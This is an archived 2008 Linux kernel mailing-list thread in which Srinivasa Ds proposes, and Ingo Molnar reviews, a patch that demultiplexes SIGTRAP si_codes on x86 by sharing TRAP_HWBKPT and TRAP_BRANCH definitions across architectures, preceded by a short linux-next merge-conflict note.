--Signature=_Fri__12_Sep_2008_06_07_49_+1000_3RrOVX4RS7D8e07p
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Kyle,

Today's linux-next merge of the parisc tree got a conflict in
include/asm-parisc/a.out.h between commit
9d5a9e74655b9d04d0ec9c8e47801163b7b74211 ("Remove asm/a.out.h files for
all architectures without a.out support") from the dwmw2 tree and commit
aa12a68bd7340733a06a2ceddb0e2a9d3d9e1a5a ("parisc: move
include/asm-parisc to arch/parisc/include/asm") from the parisc tree.

I just removed the file.
--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Fri__12_Sep_2008_06_07_49_+1000_3RrOVX4RS7D8e07p
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkjJepUACgkQjjKRsyhoI8xG0wCbBWzc1j3PurgxCr3zv6/TByqA
hjkAoLMpG6vz04NkUEjlbs1FEuJkUWhk
=+WvT
-----END PGP SIGNATURE-----

--Signature=_Fri__12_Sep_2008_06_07_49_+1000_3RrOVX4RS7D8e07p--

From - Thu Nov 08 21:02:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Srinivasa Ds <srinivasa@in.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [RFC][PATCH] Demultiplexing SIGTRAP signal
Date: Mon, 22 Sep 2008 16:02:32 +0530
Organization: IBM
Lines: 146
Approved: news@gmane.org
Message-ID: <200809221602.32616.srinivasa@in.ibm.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1222079544 26619 80.91.229.12 (22 Sep 2008 10:32:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Sep 2008 10:32:24 +0000 (UTC)
To: linux-kernel@vger.kernel.org, akpm@linux-foundation.org,
	paulus@samba.org, roland@redhat.com, linuxppc-dev@ozlabs.org,
	mingo@elte.hu, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 22 12:33:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KhijG-0006Mm-39
	for glpp-linux-parisc@gmane.org; Mon, 22 Sep 2008 12:33:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751570AbYIVKcN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Sep 2008 06:32:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751878AbYIVKcN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Sep 2008 06:32:13 -0400
Original-Received: from e28smtp07.in.ibm.com ([59.145.155.7]:40597 "EHLO
	e28esmtp07.in.ibm.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751570AbYIVKcM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Sep 2008 06:32:12 -0400
Original-Received: from d28relay02.in.ibm.com (d28relay02.in.ibm.com [9.184.220.59])
	by e28esmtp07.in.ibm.com (8.13.1/8.13.1) with ESMTP id m8MAVwx5016742;
	Mon, 22 Sep 2008 16:01:58 +0530
Original-Received: from d28av01.in.ibm.com (d28av01.in.ibm.com [9.184.220.63])
	by d28relay02.in.ibm.com (8.13.8/8.13.8/NCO v9.1) with ESMTP id m8MAVwCn1560588;
	Mon, 22 Sep 2008 16:01:58 +0530
Original-Received: from d28av01.in.ibm.com (loopback [127.0.0.1])
	by d28av01.in.ibm.com (8.13.1/8.13.3) with ESMTP id m8MAVvGs010622;
	Mon, 22 Sep 2008 16:01:58 +0530
Original-Received: from srinivasa-009124031087.in.ibm.com ([9.124.31.87])
	by d28av01.in.ibm.com (8.13.1/8.12.11) with ESMTP id m8MAVvAW009779;
	Mon, 22 Sep 2008 16:01:57 +0530
User-Agent: KMail/1.9.9
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:789 gmane.linux.kernel:735521 gmane.linux.ports.ppc64.devel:47005
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/789>

Currently a SIGTRAP signal can denote any one of below reasons.
	- Breakpoint hit
	- H/W debug register hit
	- Single step
	- SIGTRAP signal sent through kill() or rasie()

Architectures like powerpc/parisc provides infrastructure to demultiplex
SIGTRAP signal by passing down the information for receiving SIGTRAP through
si_code of siginfot_t structure. Here is an attempt is generalise this 
infrastructure by extending it to x86 and x86_64 archs. 

Signed-off-by: Srinivasa DS <srinivasa@in.ibm.com>



---
 arch/ia64/include/asm/siginfo.h    |    5 -----
 arch/powerpc/include/asm/siginfo.h |    5 -----
 arch/x86/kernel/traps_32.c         |   19 +++++++++++++++++--
 arch/x86/kernel/traps_64.c         |    7 ++++++-
 include/asm-generic/siginfo.h      |    2 ++
 include/asm-parisc/siginfo.h       |    5 -----
 6 files changed, 25 insertions(+), 18 deletions(-)

Index: linux-2.6.27-rc7/arch/ia64/include/asm/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/arch/ia64/include/asm/siginfo.h
+++ linux-2.6.27-rc7/arch/ia64/include/asm/siginfo.h
@@ -113,11 +113,6 @@ typedef struct siginfo {
 #undef NSIGSEGV
 #define NSIGSEGV	3
 
-/*
- * SIGTRAP si_codes
- */
-#define TRAP_BRANCH	(__SI_FAULT|3)	/* process taken branch trap */
-#define TRAP_HWBKPT	(__SI_FAULT|4)	/* hardware breakpoint or watchpoint */
 #undef NSIGTRAP
 #define NSIGTRAP	4
 
Index: linux-2.6.27-rc7/arch/powerpc/include/asm/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/arch/powerpc/include/asm/siginfo.h
+++ linux-2.6.27-rc7/arch/powerpc/include/asm/siginfo.h
@@ -15,11 +15,6 @@
 
 #include <asm-generic/siginfo.h>
 
-/*
- * SIGTRAP si_codes
- */
-#define TRAP_BRANCH	(__SI_FAULT|3)	/* process taken branch trap */
-#define TRAP_HWBKPT	(__SI_FAULT|4)	/* hardware breakpoint or watchpoint */
 #undef NSIGTRAP
 #define NSIGTRAP	4
 
Index: linux-2.6.27-rc7/arch/x86/kernel/traps_32.c
===================================================================
--- linux-2.6.27-rc7.orig/arch/x86/kernel/traps_32.c
+++ linux-2.6.27-rc7/arch/x86/kernel/traps_32.c
@@ -890,6 +890,7 @@ void __kprobes do_int3(struct pt_regs *r
 void __kprobes do_debug(struct pt_regs *regs, long error_code)
 {
 	struct task_struct *tsk = current;
+	struct siginfo info;
 	unsigned int condition;
 
 	trace_hardirqs_fixup();
@@ -935,8 +936,22 @@ void __kprobes do_debug(struct pt_regs *
 			goto clear_TF_reenable;
 	}
 
-	/* Ok, finally something we can handle */
-	send_sigtrap(tsk, regs, error_code);
+	tsk->thread.trap_no = 1;
+	tsk->thread.error_code = error_code;
+
+	memset(&info, 0, sizeof(info));
+	info.si_signo = SIGTRAP;
+	if (condition & DR_STEP)
+		info.si_code = TRAP_TRACE;
+	else if (condition & (DR_TRAP0|DR_TRAP1|DR_TRAP2|DR_TRAP3))
+		info.si_code = TRAP_HWBKPT;
+	else
+		info.si_code = TRAP_BRKPT;
+	/* User-mode ip? */
+	info.si_addr = user_mode_vm(regs) ? (void __user *) regs->ip : NULL;
+
+	/* Send us the fake SIGTRAP */
+	force_sig_info(SIGTRAP, &info, tsk);
 
 	/*
 	 * Disable additional traps. They'll be re-enabled when
Index: linux-2.6.27-rc7/arch/x86/kernel/traps_64.c
===================================================================
--- linux-2.6.27-rc7.orig/arch/x86/kernel/traps_64.c
+++ linux-2.6.27-rc7/arch/x86/kernel/traps_64.c
@@ -936,7 +936,12 @@ asmlinkage void __kprobes do_debug(struc
 	tsk->thread.error_code = error_code;
 	info.si_signo = SIGTRAP;
 	info.si_errno = 0;
-	info.si_code = TRAP_BRKPT;
+	if (condition & DR_STEP)
+		info.si_code = TRAP_TRACE;
+	else if (condition & (DR_TRAP0|DR_TRAP1|DR_TRAP2|DR_TRAP3))
+		info.si_code = TRAP_HWBKPT;
+	else
+		info.si_code = TRAP_BRKPT;
 	info.si_addr = user_mode(regs) ? (void __user *)regs->ip : NULL;
 	force_sig_info(SIGTRAP, &info, tsk);
 
Index: linux-2.6.27-rc7/include/asm-generic/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-generic/siginfo.h
+++ linux-2.6.27-rc7/include/asm-generic/siginfo.h
@@ -199,6 +199,8 @@ typedef struct siginfo {
  */
 #define TRAP_BRKPT	(__SI_FAULT|1)	/* process breakpoint */
 #define TRAP_TRACE	(__SI_FAULT|2)	/* process trace trap */
+#define TRAP_BRANCH     (__SI_FAULT|3)  /* process taken branch trap */
+#define TRAP_HWBKPT     (__SI_FAULT|4)  /* hardware breakpoint or watchpoint 
*/
 #define NSIGTRAP	2
 
 /*
Index: linux-2.6.27-rc7/include/asm-parisc/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-parisc/siginfo.h
+++ linux-2.6.27-rc7/include/asm-parisc/siginfo.h
@@ -3,11 +3,6 @@
 
 #include <asm-generic/siginfo.h>
 
-/*
- * SIGTRAP si_codes
- */
-#define TRAP_BRANCH	(__SI_FAULT|3)	/* process taken branch trap */
-#define TRAP_HWBKPT	(__SI_FAULT|4)	/* hardware breakpoint or watchpoint */
 #undef NSIGTRAP
 #define NSIGTRAP	4
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH] Demultiplexing SIGTRAP signal
Date: Mon, 22 Sep 2008 12:42:02 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <20080922104202.GE30137@elte.hu>
References: <200809221602.32616.srinivasa@in.ibm.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1222080382 29161 80.91.229.12 (22 Sep 2008 10:46:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Sep 2008 10:46:22 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, akpm@linux-foundation.org,
	paulus@samba.org, roland@redhat.com, linuxppc-dev@ozlabs.org,
	linux-parisc@vger.kernel.org, "H. Peter Anvin" <hpa@zytor.com>,
	Thomas Gleixner <tglx@linutronix.de>
To: Srinivasa Ds <srinivasa@in.ibm.com>,
	Roland McGrath <roland@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 22 12:47:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KhitY-0003O7-FL
	for glpp-linux-parisc@gmane.org; Mon, 22 Sep 2008 12:43:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751950AbYIVKmw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Sep 2008 06:42:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751933AbYIVKmv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Sep 2008 06:42:51 -0400
Original-Received: from mx3.mail.elte.hu ([157.181.1.138]:45848 "EHLO mx3.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751757AbYIVKmv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Sep 2008 06:42:51 -0400
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx3.mail.elte.hu with esmtp (Exim)
	id 1Khiro-0004SO-Sp
	from <mingo@elte.hu>; Mon, 22 Sep 2008 12:42:16 +0200
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id 19A513E219E; Mon, 22 Sep 2008 12:42:03 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <200809221602.32616.srinivasa@in.ibm.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx3: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:790 gmane.linux.kernel:735524 gmane.linux.ports.ppc64.devel:47006
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/790>


* Srinivasa Ds <srinivasa@in.ibm.com> wrote:

> Currently a SIGTRAP signal can denote any one of below reasons.
> 	- Breakpoint hit
> 	- H/W debug register hit
> 	- Single step
> 	- SIGTRAP signal sent through kill() or rasie()
> 
> Architectures like powerpc/parisc provides infrastructure to 
> demultiplex SIGTRAP signal by passing down the information for 
> receiving SIGTRAP through si_code of siginfot_t structure. Here is an 
> attempt is generalise this infrastructure by extending it to x86 and 
> x86_64 archs.

no fundamental objections - assuming existing x86 apps have not grown an 
ABI dependency on the existing send_sigtrap() semantics. (Debuggers and 
JITs would be a candidate for such dependencies.)

a small implementational detail, this bit:

> @@ -935,8 +936,22 @@ void __kprobes do_debug(struct pt_regs *
>  			goto clear_TF_reenable;
>  	}
>  
> -	/* Ok, finally something we can handle */
> -	send_sigtrap(tsk, regs, error_code);
> +	tsk->thread.trap_no = 1;
> +	tsk->thread.error_code = error_code;
> +
> +	memset(&info, 0, sizeof(info));
> +	info.si_signo = SIGTRAP;
> +	if (condition & DR_STEP)
> +		info.si_code = TRAP_TRACE;
> +	else if (condition & (DR_TRAP0|DR_TRAP1|DR_TRAP2|DR_TRAP3))
> +		info.si_code = TRAP_HWBKPT;
> +	else
> +		info.si_code = TRAP_BRKPT;
> +	/* User-mode ip? */
> +	info.si_addr = user_mode_vm(regs) ? (void __user *) regs->ip : NULL;
> +
> +	/* Send us the fake SIGTRAP */
> +	force_sig_info(SIGTRAP, &info, tsk);

should be pushed into [a sufficiently extended] send_sigtrap() instead.

and this bit:

> -	info.si_code = TRAP_BRKPT;
> +	if (condition & DR_STEP)
> +		info.si_code = TRAP_TRACE;
> +	else if (condition & (DR_TRAP0|DR_TRAP1|DR_TRAP2|DR_TRAP3))
> +		info.si_code = TRAP_HWBKPT;
> +	else
> +		info.si_code = TRAP_BRKPT;

should be separated into a helper function as well i guess.

Roland, any objections to the core idea (or to the implementation)?

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Srinivasa Ds <srinivasa@in.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH] Demultiplexing SIGTRAP signal
Date: Mon, 22 Sep 2008 18:41:27 +0530
Organization: IBM
Lines: 207
Approved: news@gmane.org
Message-ID: <200809221841.27993.srinivasa@in.ibm.com>
References: <200809221602.32616.srinivasa@in.ibm.com> <20080922104202.GE30137@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1222089089 26071 80.91.229.12 (22 Sep 2008 13:11:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Sep 2008 13:11:29 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-parisc@vger.kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Thomas Gleixner <tglx@linutronix.de>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 22 15:12:24 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KhlDE-0000G8-1p
	for glpp-linux-parisc@gmane.org; Mon, 22 Sep 2008 15:12:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752040AbYIVNLT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Sep 2008 09:11:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752034AbYIVNLT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Sep 2008 09:11:19 -0400
Original-Received: from E23SMTP06.au.ibm.com ([202.81.18.175]:32869 "EHLO
	e23smtp06.au.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752026AbYIVNLS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Sep 2008 09:11:18 -0400
Original-Received: from sd0109e.au.ibm.com (d23rh905.au.ibm.com [202.81.18.225])
	by e23smtp06.au.ibm.com (8.13.1/8.13.1) with ESMTP id m8MD9m5D018839;
	Mon, 22 Sep 2008 23:09:48 +1000
Original-Received: from d23av02.au.ibm.com (d23av02.au.ibm.com [9.190.235.138])
	by sd0109e.au.ibm.com (8.13.8/8.13.8/NCO v9.1) with ESMTP id m8MDAcTV247708;
	Mon, 22 Sep 2008 23:10:38 +1000
Original-Received: from d23av02.au.ibm.com (loopback [127.0.0.1])
	by d23av02.au.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id m8MDAbxu001866;
	Mon, 22 Sep 2008 23:10:38 +1000
Original-Received: from srinivasa-009124031087.in.ibm.com (Srinivasa-009124031087.in.ibm.com [9.124.31.87])
	by d23av02.au.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id m8MDAZGC001626;
	Mon, 22 Sep 2008 23:10:35 +1000
User-Agent: KMail/1.9.9
In-Reply-To: <20080922104202.GE30137@elte.hu>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:791 gmane.linux.kernel:735581 gmane.linux.ports.ppc64.devel:47012
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/791>

On Monday 22 September 2008 16:12:02 Ingo Molnar wrote:
> no fundamental objections - assuming existing x86 apps have not grown an
> ABI dependency on the existing send_sigtrap() semantics. (Debuggers and
> JITs would be a candidate for such dependencies.)
>

Assuming that no ABI dependency exist between x86 apps and send_sigtrap(),
And implementing some of the Ingo's suggestions, Iam resending the patch.

Still waiting for Roland's reply.


Currently a SIGTRAP can denote any one of below reasons.
	- Breakpoint hit
	- H/W debug register hit
	- Single step
	- Signal sent through kill() or rasie()

Architectures like powerpc/parisc provides infrastructure to demultiplex
SIGTRAP signal by passing down the information for receiving SIGTRAP through
si_code of siginfot_t strucutre. Here is an attempt is generalise this 
infrasturcutre by extending it to x86 and x86_64 archs. 

Signed-off-by: Srinivasa DS <srinivasa@in.ibm.com>

---
 arch/ia64/include/asm/siginfo.h    |    5 -----
 arch/powerpc/include/asm/siginfo.h |    5 -----
 arch/x86/kernel/ptrace.c           |    7 ++++---
 arch/x86/kernel/traps_32.c         |    4 +++-
 arch/x86/kernel/traps_64.c         |    2 +-
 include/asm-generic/siginfo.h      |    2 ++
 include/asm-parisc/siginfo.h       |    5 -----
 include/asm-x86/ptrace.h           |    2 +-
 include/asm-x86/traps.h            |   10 ++++++++++
 9 files changed, 21 insertions(+), 21 deletions(-)

Index: linux-2.6.27-rc7/arch/ia64/include/asm/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/arch/ia64/include/asm/siginfo.h
+++ linux-2.6.27-rc7/arch/ia64/include/asm/siginfo.h
@@ -113,11 +113,6 @@ typedef struct siginfo {
 #undef NSIGSEGV
 #define NSIGSEGV	3
 
-/*
- * SIGTRAP si_codes
- */
-#define TRAP_BRANCH	(__SI_FAULT|3)	/* process taken branch trap */
-#define TRAP_HWBKPT	(__SI_FAULT|4)	/* hardware breakpoint or watchpoint */
 #undef NSIGTRAP
 #define NSIGTRAP	4
 
Index: linux-2.6.27-rc7/arch/powerpc/include/asm/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/arch/powerpc/include/asm/siginfo.h
+++ linux-2.6.27-rc7/arch/powerpc/include/asm/siginfo.h
@@ -15,11 +15,6 @@
 
 #include <asm-generic/siginfo.h>
 
-/*
- * SIGTRAP si_codes
- */
-#define TRAP_BRANCH	(__SI_FAULT|3)	/* process taken branch trap */
-#define TRAP_HWBKPT	(__SI_FAULT|4)	/* hardware breakpoint or watchpoint */
 #undef NSIGTRAP
 #define NSIGTRAP	4
 
Index: linux-2.6.27-rc7/arch/x86/kernel/traps_32.c
===================================================================
--- linux-2.6.27-rc7.orig/arch/x86/kernel/traps_32.c
+++ linux-2.6.27-rc7/arch/x86/kernel/traps_32.c
@@ -891,6 +891,7 @@ void __kprobes do_debug(struct pt_regs *
 {
 	struct task_struct *tsk = current;
 	unsigned int condition;
+	int si_code;
 
 	trace_hardirqs_fixup();
 
@@ -935,8 +936,9 @@ void __kprobes do_debug(struct pt_regs *
 			goto clear_TF_reenable;
 	}
 
+	si_code = get_si_code((unsigned long*)&condition);
 	/* Ok, finally something we can handle */
-	send_sigtrap(tsk, regs, error_code);
+	send_sigtrap(tsk, regs, error_code, si_code);
 
 	/*
 	 * Disable additional traps. They'll be re-enabled when
Index: linux-2.6.27-rc7/arch/x86/kernel/traps_64.c
===================================================================
--- linux-2.6.27-rc7.orig/arch/x86/kernel/traps_64.c
+++ linux-2.6.27-rc7/arch/x86/kernel/traps_64.c
@@ -936,7 +936,7 @@ asmlinkage void __kprobes do_debug(struc
 	tsk->thread.error_code = error_code;
 	info.si_signo = SIGTRAP;
 	info.si_errno = 0;
-	info.si_code = TRAP_BRKPT;
+	info.si_code = get_si_code(&condition);
 	info.si_addr = user_mode(regs) ? (void __user *)regs->ip : NULL;
 	force_sig_info(SIGTRAP, &info, tsk);
 
Index: linux-2.6.27-rc7/include/asm-generic/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-generic/siginfo.h
+++ linux-2.6.27-rc7/include/asm-generic/siginfo.h
@@ -199,6 +199,8 @@ typedef struct siginfo {
  */
 #define TRAP_BRKPT	(__SI_FAULT|1)	/* process breakpoint */
 #define TRAP_TRACE	(__SI_FAULT|2)	/* process trace trap */
+#define TRAP_BRANCH     (__SI_FAULT|3)  /* process taken branch trap */
+#define TRAP_HWBKPT     (__SI_FAULT|4)  /* hardware breakpoint or watchpoint 
*/
 #define NSIGTRAP	2
 
 /*
Index: linux-2.6.27-rc7/include/asm-parisc/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-parisc/siginfo.h
+++ linux-2.6.27-rc7/include/asm-parisc/siginfo.h
@@ -3,11 +3,6 @@
 
 #include <asm-generic/siginfo.h>
 
-/*
- * SIGTRAP si_codes
- */
-#define TRAP_BRANCH	(__SI_FAULT|3)	/* process taken branch trap */
-#define TRAP_HWBKPT	(__SI_FAULT|4)	/* hardware breakpoint or watchpoint */
 #undef NSIGTRAP
 #define NSIGTRAP	4
 
Index: linux-2.6.27-rc7/arch/x86/kernel/ptrace.c
===================================================================
--- linux-2.6.27-rc7.orig/arch/x86/kernel/ptrace.c
+++ linux-2.6.27-rc7/arch/x86/kernel/ptrace.c
@@ -1357,7 +1357,8 @@ const struct user_regset_view *task_user
 #endif
 }
 
-void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs, int 
error_code)
+void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs, int 
error_code,
+							          int si_code)
 {
 	struct siginfo info;
 
@@ -1366,7 +1367,7 @@ void send_sigtrap(struct task_struct *ts
 
 	memset(&info, 0, sizeof(info));
 	info.si_signo = SIGTRAP;
-	info.si_code = TRAP_BRKPT;
+	info.si_code = si_code;
 
 	/* User-mode ip? */
 	info.si_addr = user_mode_vm(regs) ? (void __user *) regs->ip : NULL;
@@ -1476,5 +1477,5 @@ asmregparm void syscall_trace_leave(stru
 	 */
 	if (test_thread_flag(TIF_SINGLESTEP) &&
 	    (current->ptrace & PT_PTRACED))
-		send_sigtrap(current, regs, 0);
+		send_sigtrap(current, regs, 0, TRAP_BRKPT);
 }
Index: linux-2.6.27-rc7/include/asm-x86/traps.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-x86/traps.h
+++ linux-2.6.27-rc7/include/asm-x86/traps.h
@@ -36,6 +36,16 @@ void do_invalid_op(struct pt_regs *, lon
 void do_general_protection(struct pt_regs *, long);
 void do_nmi(struct pt_regs *, long);
 
+int get_si_code(unsigned long *condition)
+{
+	if (*condition & DR_STEP)
+		return TRAP_TRACE;
+	else if (*condition & (DR_TRAP0|DR_TRAP1|DR_TRAP2|DR_TRAP3))
+		return TRAP_HWBKPT;
+	else
+		return TRAP_BRKPT;
+}
+
 extern int panic_on_unrecovered_nmi;
 extern int kstack_depth_to_print;
 
Index: linux-2.6.27-rc7/include/asm-x86/ptrace.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-x86/ptrace.h
+++ linux-2.6.27-rc7/include/asm-x86/ptrace.h
@@ -143,7 +143,7 @@ convert_ip_to_linear(struct task_struct 
 
 #ifdef CONFIG_X86_32
 extern void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs,
-			 int error_code);
+			 int error_code, int si_code);
 #else
 void signal_fault(struct pt_regs *regs, void __user *frame, char *where);
 #endif

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH] Demultiplexing SIGTRAP signal
Date: Mon, 22 Sep 2008 16:54:04 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <20080922145404.GC27956@elte.hu>
References: <200809221602.32616.srinivasa@in.ibm.com> <20080922104202.GE30137@elte.hu> <200809221841.27993.srinivasa@in.ibm.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1222095300 16655 80.91.229.12 (22 Sep 2008 14:55:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Sep 2008 14:55:00 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-parisc@vger.kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Thomas Gleixner <tglx@linutronix.de>
To: Srinivasa Ds <srinivasa@in.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 22 16:55:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Khmp9-0005F5-HY
	for glpp-linux-parisc@gmane.org; Mon, 22 Sep 2008 16:55:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752621AbYIVOyf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Sep 2008 10:54:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752607AbYIVOye
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Sep 2008 10:54:34 -0400
Original-Received: from mx3.mail.elte.hu ([157.181.1.138]:55081 "EHLO mx3.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
